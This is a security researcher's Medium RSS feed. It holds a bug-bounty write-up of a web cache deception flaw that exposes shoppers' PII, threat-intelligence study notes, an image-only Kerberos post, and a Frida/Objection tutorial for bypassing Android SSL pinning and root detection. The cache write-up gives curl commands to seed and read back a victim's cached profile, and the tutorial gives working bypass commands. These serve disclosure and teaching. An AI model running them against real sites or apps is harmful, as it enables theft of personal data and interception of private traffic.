<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Abhinabshrestha on Medium]]></title>
        <description><![CDATA[Stories by Abhinabshrestha on Medium]]></description>
        <link>https://medium.com/@abhinabshrestha9?source=rss-096a5c1fe13e------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*SKQ-RFasPGgh0gXN</url>
            <title>Stories by Abhinabshrestha on Medium</title>
            <link>https://medium.com/@abhinabshrestha9?source=rss-096a5c1fe13e------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 05:41:39 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@abhinabshrestha9/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[One .svg and a CDN: How a File Extension Leaked Strangers' PII]]></title>
            <link>https://medium.com/@abhinabshrestha9/one-svg-and-a-cdn-how-a-file-extension-leaked-strangers-pii-c8ca95ba5ddf?source=rss-096a5c1fe13e------2</link>
            <guid isPermaLink="false">https://medium.com/p/c8ca95ba5ddf</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[web-cache-deception]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <dc:creator><![CDATA[Abhinabshrestha]]></dc:creator>
            <pubDate>Fri, 11 Sep 2026 16:20:50 GMT</pubDate>
            <atom:updated>2026-09-11T16:20:50.235Z</atom:updated>
            <content:encoded><![CDATA[<p><em>A walkthrough of a Web Cache Deception bug that turned a private profile API into a public one — and the story of how it got closed as a duplicate before being reopened and paid.</em></p><blockquote>It’s been a long while since I last wrote anything here. Life, work, and a long stretch of just heads-down hunting got in the way of writing it up. This bug felt like the right one to break the silence with — it’s a clean idea, and the story behind its resolution taught me more than the bug itself did. So, after a long time: hello again, and let’s get into it.</blockquote><h3>TL;DR</h3><p>A retail site exposed an authenticated profile API at:</p><pre>/api/v2/account/profile</pre><p>That endpoint is meant to return <strong>your</strong> data and nobody else’s. It carried the right cache headers (private, no-cache, no-store) and worked exactly as intended.</p><p>But if you appended a static file extension:</p><pre>/api/v2/account/profile.svg</pre><p>…the backend still returned the full profile JSON — and, because of the extension, it now came back with Cache-Control: private, max-age=31536000. The CDN in front of the app happily cached that response for a year and served it to <strong>anyone</strong> who visited the same URL, no cookies required.</p><p>Send a victim a link. They click it while logged in. Their name, email, phone number, loyalty card number, and hashed identifiers are now sitting on a public edge cache waiting for you to fetch them. That’s Web Cache Deception (WCD).</p><h3>What Web Cache Deception actually is</h3><p>WCD, first popularized by Omer Gil in 2017, exploits a disagreement between two systems that are supposed to agree on one thing: <em>what is a cacheable file, and what is dynamic user data?</em></p><ul><li>The <strong>CDN / cache</strong> decides whether to store a response mostly by looking at the URL (does it end in .svg, .css, .js, .png?) and the cache headers.</li><li>The <strong>application</strong> decides what to <em>serve</em> based on its own routing rules.</li></ul><p>When those two disagree — the app treats /profile.svg as a live API call, but the cache treats it as a static image — sensitive dynamic content gets stored in a location that&#39;s shared across users.</p><p>Two ingredients have to line up:</p><ol><li><strong>Path confusion.</strong> The app serves dynamic content for a URL that <em>looks</em> static.</li><li><strong>A cache willing to store it.</strong> The response headers (or the CDN’s own rules) let it be cached and re-served.</li></ol><p>This target had both.</p><h3>Finding it</h3><p>I was poking at the site’s API surface. The profile endpoint was the obvious high-value target — it returns everything the account knows about you. Authenticated, it behaved correctly:</p><pre>GET /api/v2/account/profile HTTP/2<br>Host: www.shop.example<br>Cookie: &lt;valid session&gt;</pre><pre>HTTP/2 200<br>content-type: application/json; charset=utf-8<br>cache-control: private, max-age=0, no-cache, no-store<br>server-timing: cdn-cache; desc=MISS</pre><p>no-cache, no-store — good. The CDN won&#39;t touch this.</p><p>The instinct with WCD is always: <strong>does the framework normalize extensions?</strong> Many backends (Rails, in this case) route /profile.svg to the same controller as /profile, stripping the extension during routing. So I tried it:</p><pre>GET /api/v2/account/profile.svg HTTP/2<br>Host: www.shop.example<br>Cookie: &lt;valid session&gt;</pre><pre>HTTP/2 200<br>content-type: application/json; charset=utf-8<br>cache-control: private, max-age=31536000     ← !!<br>server-timing: cdn-cache; desc=MISS</pre><p>Two things jumped out:</p><ol><li>It still returned the <strong>full profile JSON</strong> — the extension was stripped, same controller, same data.</li><li>The Cache-Control header had completely changed. no-cache, no-store was gone. In its place: max-age=31536000 — one year.</li></ol><p>That second point is the whole bug. The framework’s static-asset handling assumed anything ending in .svg was a safe, cacheable file and slapped a long-lived cache header on it — without realizing the <em>body</em> was private user data.</p><h3>Confirming the cache actually stores and re-serves it</h3><p>A changed header is a lead, not a finding. I needed to prove the CDN genuinely cached the response and served it to an unauthenticated stranger. “Could lead to” is not a bug; you have to build the chain.</p><p><strong>Step 1 — seed the cache (victim, authenticated):</strong></p><pre>curl -sk &quot;https://www.shop.example/api/v2/account/profile.svg&quot; \<br>  -H &quot;Cookie: &lt;valid session&gt;&quot; -D -</pre><pre>HTTP/2 200<br>cache-control: private, max-age=31536000<br>server-timing: cdn-cache; desc=MISS<br>server-timing: origin; dur=93<br>x-request-id: 1fcdeb65-3a1d-40b9-86a7-d01df8bf26c4</pre><p>MISS — first request, went to origin, and the CDN just stored the response.</p><p><strong>Step 2 — read it back (attacker, no cookies at all):</strong></p><pre>curl -sk &quot;https://www.shop.example/api/v2/account/profile.svg&quot; -D -</pre><pre>HTTP/2 200<br>cache-control: private, max-age=31536000<br>server-timing: cdn-cache; desc=HIT<br>server-timing: edge; dur=1<br>x-request-id: 1fcdeb65-3a1d-40b9-86a7-d01df8bf26c4</pre><pre>{<br>  &quot;data&quot;: {<br>    &quot;type&quot;: &quot;users&quot;,<br>    &quot;attributes&quot;: {<br>      &quot;first-name&quot;: &quot;&lt;victim&gt;&quot;,<br>      &quot;last-name&quot;: &quot;&lt;victim&gt;&quot;,<br>      &quot;email&quot;: &quot;victim@example.com&quot;,<br>      &quot;email-md5&quot;: &quot;&lt;hash&gt;&quot;,<br>      &quot;email-sha256&quot;: &quot;&lt;hash&gt;&quot;,<br>      &quot;card-number&quot;: &quot;&lt;loyalty card&gt;&quot;,<br>      &quot;loyalty-tier&quot;: &quot;...&quot;,<br>      &quot;points&quot;: 50,<br>      &quot;mobile-phone&quot;: &quot;&lt;phone&gt;&quot;,<br>      &quot;country-calling-code&quot;: &quot;+..&quot;,<br>      &quot;mobile-phone-md5&quot;: &quot;&lt;hash&gt;&quot;,<br>      &quot;admin&quot;: false,<br>      &quot;is-employee&quot;: false<br>    }<br>  }<br>}</pre><p>Three details nail it down:</p><ul><li>cdn-cache; desc=HIT — the edge served this itself.</li><li>edge; dur=1 — one millisecond, no origin roundtrip.</li><li><strong>The </strong><strong>x-request-id is identical to the victim&#39;s request.</strong> This is the same physical response object. No account, no session, no tools — just a GET to a URL, and I&#39;m holding someone else&#39;s PII.</li></ul><p>It worked in a browser too: open the URL in an incognito window and the victim’s data renders as raw JSON on screen.</p><h3>The gotcha that almost made me doubt myself</h3><p>When I first tried to reproduce from a second machine, the attacker request sometimes returned a sign-in error instead of cached data. For a moment it looked flaky — the kind of inconsistency that makes you wonder if you imagined the whole thing.</p><p>The cause was the CDN’s <strong>anycast routing</strong>. A large CDN answers www.shop.example from many physical edge nodes, and the cache is <strong>per-edge</strong>. Two machines can resolve the hostname to two different points of presence — and the copy I seeded lived on only one of them.</p><p>The fix for deterministic testing is curl --resolve, which pins the connection to a specific edge IP and skips DNS entirely:</p><pre># find candidate edges<br>dig +short www.shop.example</pre><pre># pin both requests to the SAME edge<br>curl -sk --resolve <a href="http://www.shop.example:443:203.0.113.10">www.shop.example:443:203.0.113.10</a> \<br>  &quot;https://www.shop.example/api/v2/account/profile.svg&quot; -D -</pre><p>Seed and read from the <em>same</em> edge IP and it’s 100% reproducible.</p><p>It’s worth being clear about what this pinning does and does not mean for real-world impact. --resolve is a <strong>testing</strong> convenience, not an attack prerequisite. In practice, users on the same ISP or in the same region naturally land on the same PoP, and an attacker only has to try the handful of edge IPs dig returns until one gives a HIT. The bug is real; the pinning just removes the routing variable so a triager can reproduce it in one shot.</p><p>I put exactly this explanation in the report as a reproduction note, with the pinned commands. If your PoC depends on an environmental quirk, <strong>explain the quirk</strong> — half the “can’t reproduce → not applicable” closures happen because the triager hit the flaky path and gave up.</p><h3>Impact</h3><p>One cached response leaked, per victim:</p><ul><li>Full name, email, phone number (with country code)</li><li>Loyalty / membership card number</li><li>MD5 and SHA-256 of the email, MD5 of the phone — offline-crackable, and directly usable for cross-referencing in data-broker and breach corpora</li><li>Loyalty tier and points balance</li><li>admin / is-employee authorization flags</li><li>References to shipping addresses, saved cards, and stored payment tokens</li></ul><p>The attacker needs <strong>no account</strong>. The only precondition is that the victim clicks a link while logged in — the same bar as a reflected XSS or a CSRF. And because the entry sat in cache with a one-year TTL, a single click had a long shelf life.</p><p>I scored it CVSS 3.1 <strong>7.4 (High)</strong> — AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N. The scope change (S:C) is the honest part: the vulnerability lives in the app&#39;s headers, but the data crosses the trust boundary at the <em>caching layer</em>, a different component than the one that&#39;s broken.</p><h3>The part nobody puts in the writeup: it got closed as a duplicate</h3><p>Here’s where it gets instructive.</p><p>I submitted. Standard “thanks, under review” auto-reply. A few days later the program updated the report — refined the title, tagged it CWE-200 / CWE-524, cleaned up the endpoint list — and then:</p><blockquote><strong>Status: Duplicate.</strong> “Another hunter already submitted the same bug, and determined that we were not going to deploy a fix.” Closed. 2 points.</blockquote><p>Two points is the polite version of “we already know, and we’ve decided to live with it.” For a High-severity PII leak, that stung — not because of the points, but because the reasoning was <em>“we’re not going to fix it.”</em></p><p>Two things had happened in the meantime that changed the picture, and I’d already reported both:</p><ol><li><strong>I asked them to purge my PII from the cache</strong> — my own test-account data was sitting on a public edge with a one-year TTL. That’s not a courtesy request; leaving it there is an ongoing exposure.</li><li><strong>I’d found that the fix was incomplete.</strong> They had removed the cached .svg variant — but .png, .jpg, .jpeg, and .mp3 <strong>still cached the exact same PII</strong>, still with a ~one-year expiry. A cache rule that blocklists one extension isn&#39;t a fix; the framework&#39;s extension-stripping and the CDN&#39;s cache-on-static-extension behavior were both untouched. So the &quot;known&quot; bug was not only unfixed — it was demonstrably still exploitable through half a dozen other extensions.</li></ol><p>So I pushed back. Not by arguing about points — by restating the <strong>impact and the facts</strong>: this leaks consumer PII, the remediation that was applied doesn’t close it, and here are the extensions that still work. Politely, once, with evidence.</p><p>A few days later:</p><blockquote><strong>Reopened → Under Review → Accepted.</strong> “Indeed, while this is a duplicate of a previously submitted report, we have deemed it still valid because the fix was not fully implemented. We appreciate the additional context on other affected extensions.”</blockquote><blockquote>Bounty + bonus points awarded.</blockquote><h3>The lessons that actually transfer</h3><p><strong>1. “Duplicate” is a status, not a verdict on your work.</strong> A duplicate of an <em>unfixed</em> bug — especially one where you can demonstrate the deployed remediation is incomplete — is a live vulnerability. If you’re bringing new, exploitable surface (new extensions, a bypass of the “fix”), that’s frequently enough to reopen. It was here.</p><p><strong>2. Argue impact, never points.</strong> I never once mentioned the reward. Every message was about consumer PII exposure and the specific extensions still leaking. Triagers respond to <em>“here is data still leaking and here’s how”</em> far better than to <em>“I deserve more.”</em></p><p><strong>3. Test the fix, then test around it.</strong> When a program says “fixed,” re-run your PoC — and then vary the one parameter the fix depends on. Here the fix was extension-specific, so the obvious probe was <em>other extensions</em>. The incompleteness was the whole reason it got accepted.</p><p><strong>4. Make your PoC reproducible on the first try.</strong> The anycast/--resolve note probably saved this report. A bug that only reproduces &quot;sometimes&quot; reads as noise. Explain the environmental variable and hand the triager the deterministic command.</p><p><strong>5. Ask for your own data to be purged.</strong> If your PoC seeds a shared cache with your PII and a long TTL, that data is exposed until it’s evicted. Requesting removal is both the right thing to do and a quiet reminder to the program that the issue is ongoing, not historical.</p><h3>For defenders: how to actually kill this</h3><ol><li><strong>Never let a URL extension change your cache headers on dynamic routes.</strong> Every response under /api/ should carry Cache-Control: private, no-cache, no-store, max-age=0 regardless of how the path ends. The static-asset header logic must not reach API controllers.</li><li><strong>Don’t blocklist extensions — allowlist behavior.</strong> Removing .svg from the cache while .png/.jpg/.mp3 still leak is the exact trap this program fell into. Return 404 for any /api/ path ending in a static extension, and normalize path handling so /profile.svg never routes to the profile controller at all.</li><li><strong>Tell the CDN to never cache </strong><strong>/api/.</strong> Defense in depth: the edge should skip caching for API paths outright, and strictly honor private on anything that isn&#39;t a genuine static asset.</li></ol><p>Fix the class, not the example.</p><p><em>Written up with all client-identifying details, endpoints, and PII removed or replaced. The technique, headers, and story are real; the target is not named.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c8ca95ba5ddf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Learning Kerberos]]></title>
            <link>https://medium.com/@abhinabshrestha9/untitled-d9ee3d3cf0ed?source=rss-096a5c1fe13e------2</link>
            <guid isPermaLink="false">https://medium.com/p/d9ee3d3cf0ed</guid>
            <dc:creator><![CDATA[Abhinabshrestha]]></dc:creator>
            <pubDate>Sun, 27 Apr 2025 16:19:21 GMT</pubDate>
            <atom:updated>2025-04-27T16:19:52.944Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5khwh2X8iOEpG_8YYvqlhw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_FR6l5uzA6-zbbyz2bTMEw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yqumGiYQIt2_RFZ0okMnOg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oD7vlE0hfm9cns4uobYRWA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DvY5K3yjpDlsxv1pAJVAgQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lf5K73dySy-e-O9Aoxcf8Q.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vPqxqpkRmc7nwAUz6pEq1g.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6LeZdTOiCFCzTbAQgwyfaA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*myYilCXRsGEZyEXIKYQpNw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F-Whhrnodagrgghh7GrUNw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mBH4UPcNd0to072_8-wEvQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qrHD5nkLCwer6NjITi9XtA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F8kI25whkPxBcwmQhC6gqQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mj7F1fo5TiCKP5X60NBCJw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VQc-cP73os28ZtlXfOfJJQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iJwThLO9NAJ-jyivfCQyhg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qPdzJXHBnNnn81IaOmIMOg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JyTNL5q0zVmbfFyRIiwJxA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9oT5BlYcgC3csOBgdnrlmg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LtYhmCtB32hhc1Ah2NrJFg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XTcHXYeNZ4E_gRX4hLfxoQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5RoonCeUqFEwoROQa5Sj-g.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nxFsdpDIe9XbMddFoFvCIw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LdlBGkMlwLvprgZi5Lqyzg.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d9ee3d3cf0ed" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Threat Intelligence]]></title>
            <link>https://medium.com/@abhinabshrestha9/osint-fetch-information-b4950923ba39?source=rss-096a5c1fe13e------2</link>
            <guid isPermaLink="false">https://medium.com/p/b4950923ba39</guid>
            <dc:creator><![CDATA[Abhinabshrestha]]></dc:creator>
            <pubDate>Wed, 01 Jan 2025 16:49:11 GMT</pubDate>
            <atom:updated>2025-01-03T16:53:09.300Z</atom:updated>
            <content:encoded><![CDATA[<p>Some Powerfull tools for Information gathering and performing OSINT</p><p>Spiderfoot</p><p>Maltego</p><p>recon-ng</p><p>ThreatConnect</p><p>Formating Standards for Threat Intelligence</p><ul><li>STIX- stixproject.github.com</li><li>TAXII- taxiiproject.github.io</li><li>Structured threat information expression(STIX) gives information about incidents, bad actors, IOC, tactics and exploit, recommend solution over https. community driven</li></ul><p>Need to learn about oasis server</p><p>Process Threat Intelligence</p><ul><li>Identify the most vital cyberthreats to stop</li><li>Gather inforamtions : Usage of CVSS, fortiguard gives info about current threats with their ratings.</li><li>Process the information</li><li>Analyze info to look for indicator of compromise(IOC)</li><li>Disseminate the analysis</li><li>Implement the lesson learned</li></ul><p>Attack Frameworks:</p><p>In order to identify and prevent cyber attacks it is great to understand various attack frameworks, analyze and classify them.</p><p>Frameworks:</p><ul><li>Cyber Kill Chain by Lockheed Martin</li><li>MITRE ATT&amp;CK source : <em>https://attack.mitre.org/</em></li></ul><p>Cyber Kill Chain Framework</p><ol><li>Reconnaissance</li><li>Weaponization</li><li>Delivery</li><li>Exploitation</li><li>Installation</li><li>Command &amp; Control</li><li>Exfiltration</li></ol><p>Social Engineering Attacks :</p><p>Quid pro quo</p><ul><li>One thing for another</li><li>Example: A service, such as tech support, is offered in return for information, such as user credentials.</li></ul><p>Pretexting</p><ul><li>A situation devised to invoke an emotional response in the target.</li><li>Example: A person receives a call from a loved one who needs bail to get out of jail.</li></ul><p>Baiting</p><ul><li>An enticing situation that tempts you to act.</li><li>Example: You discover a USB drive in the parking lab.</li></ul><p>Tailgating</p><ul><li>Exploiting social conventions to gain access to a physical facility or access-controlled room.</li></ul><p>Honeytrap</p><p>Watering hole attack:Compromising the website that is visited by the victim.</p><p>Insider threat actions</p><ol><li>Espionage</li><li>Fraud</li><li>Intellectual Property Theft</li><li>Sabotage</li></ol><p>Insider Threat</p><ul><li>Mole: Out sider gets inside</li><li>Collaborator: By third party collaboration</li><li>Lone wolf: Without Influence</li></ul><p>Negligent Insider:</p><p>a. Pawn: Manipulated by bad actors;</p><p>b. Goof: Deliberately careless but does not harbor malicious intent.</p><p>Physical Vectors:</p><ol><li>Tailgatting/ Piggy backing</li><li>Shoulder Surfing</li><li>Dumpster Diving</li><li>Eavesdropping</li></ol><p>Prevention</p><ol><li>Prioritize critical assets</li><li>User and Event behaviour analytics</li></ol><p>Pharming</p><ul><li>Bad actor redirects traffic to malicius website</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b4950923ba39" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Easiest way for SSL Pinning Bypass in Android Applications and Redirecting Requests to Burpsuite]]></title>
            <link>https://medium.com/@abhinabshrestha9/easiest-way-for-ssl-pinning-bypass-in-android-applications-and-redirecting-requests-to-burpsuite-aebb5dcbd4fe?source=rss-096a5c1fe13e------2</link>
            <guid isPermaLink="false">https://medium.com/p/aebb5dcbd4fe</guid>
            <category><![CDATA[android-pentesting]]></category>
            <category><![CDATA[cyber-security-services]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cyber-security-awareness]]></category>
            <category><![CDATA[ssl-pinning-bypass]]></category>
            <dc:creator><![CDATA[Abhinabshrestha]]></dc:creator>
            <pubDate>Tue, 24 Dec 2024 12:59:09 GMT</pubDate>
            <atom:updated>2024-12-24T12:59:09.822Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello everyone, and welcome to my first blog! I’m a cybersecurity researcher, and recently, I was tasked with performing penetration testing on an Android application. During the process, I encountered the need to bypass SSL pinning.</p><p>In this blog, I’ll share my experience and explain how SSL pinning bypass can be achieved in Android applications. Before diving into the methodology I used, let’s first understand what SSL pinning is and why it plays a crucial role in application security.</p><p><strong>SSL pinning</strong> is security method used in mobile applications to make sure that, even in the event of a malicious actor attempting a <strong>man-in-the-middle (MITM) attack </strong>or a compromise of the SSL/TLS certificate chain, the program only connects with a trusted server.</p><p>The client uses the <strong>certificate authority (CA) </strong>chain to verify the server’s certificate in conventional SSL/TLS communication. However, if the CA is compromised or a phony certificate is produced, this system may be open to assaults.</p><p>The application is configured to “pin” or hold a particular server certificate, public key, or certificate hash when SSL pinning is used. The application compares the pinned certificate with the server’s certificate on a subsequent communication. To avoid unwanted interception, the connection is cut off if they don’t match.</p><p><strong>Requirement: </strong>Burp CA Certificate installed on the device.</p><p><strong>Methodology:</strong></p><p>In order to perform successfull SSL Pinning bypass, we need following tools:</p><ol><li>Frida Server</li><li>Objection</li></ol><p>First of all let’s setup frida server. In order to setup frida server. We check the android device architecture:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aPscdcXYV4DQ13MHP5C_jQ.png" /></figure><p>Now Let’s search compatible frida server for android device: <a href="https://github.com/frida/frida/releases"><em>Link</em></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lQ4k1Y9zH2XQegf6lpGv2Q.png" /></figure><p>After downloading the suitable frida server, unzip the file and push the server to <em>/data/local/tmp</em> folder of android. and make sure it has following permissions. You can push the frida server to android device by using following command line:</p><p>adb push <strong><em>location/frida-new-server</em></strong><em> </em><strong><em>/data/local/tmp/</em></strong></p><p>adb shell chmod 755 <strong><em>/data/local/tmp/frida-new-server</em></strong></p><p><strong>For runnng the frida server</strong></p><p>adb shell</p><p>cd /data/local/tmp</p><p>./frida-new-server</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AtrjkXNqjXd3a0-GocQSVQ.png" /></figure><p>Configuring Burpsuite:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8mfUGEZBsuMumXIyubDkoA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lv0cmb_pVXYv6Y6uEH85Eg.png" /></figure><p>Setting up a proxy on emulator:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/592/1*TGesrF0bhDXahwcgI66aUA.png" /></figure><p>Now for Objection[<strong>Obj(ect) (Inj)ection</strong>]. We can install it using pip (python package manager)</p><p><strong>pip install objection</strong></p><p>We can now run objection tool</p><p><strong>objection -g package_name explore</strong></p><p>Eg: objection -g com.hellohello.newnew explore</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4pxpNEUPdroVqAOhQXU2MQ.png" /></figure><p>Now write following command:</p><p>[usb]# android root disable<br>[usb]# check root<br>[usb]# android sslpinning disable</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8ZXmKbcEmuZQ_sMbXzLj6w.png" /></figure><p>We write android root disable command to bypass root detection and sslpinning disable for bypassing the ssl pinning</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pv2OW-9MvxtNeSQxja79KA.png" /></figure><p>Boom! We’ve nailed it — successfully intercepted the request in Burp Suite</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=aebb5dcbd4fe" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>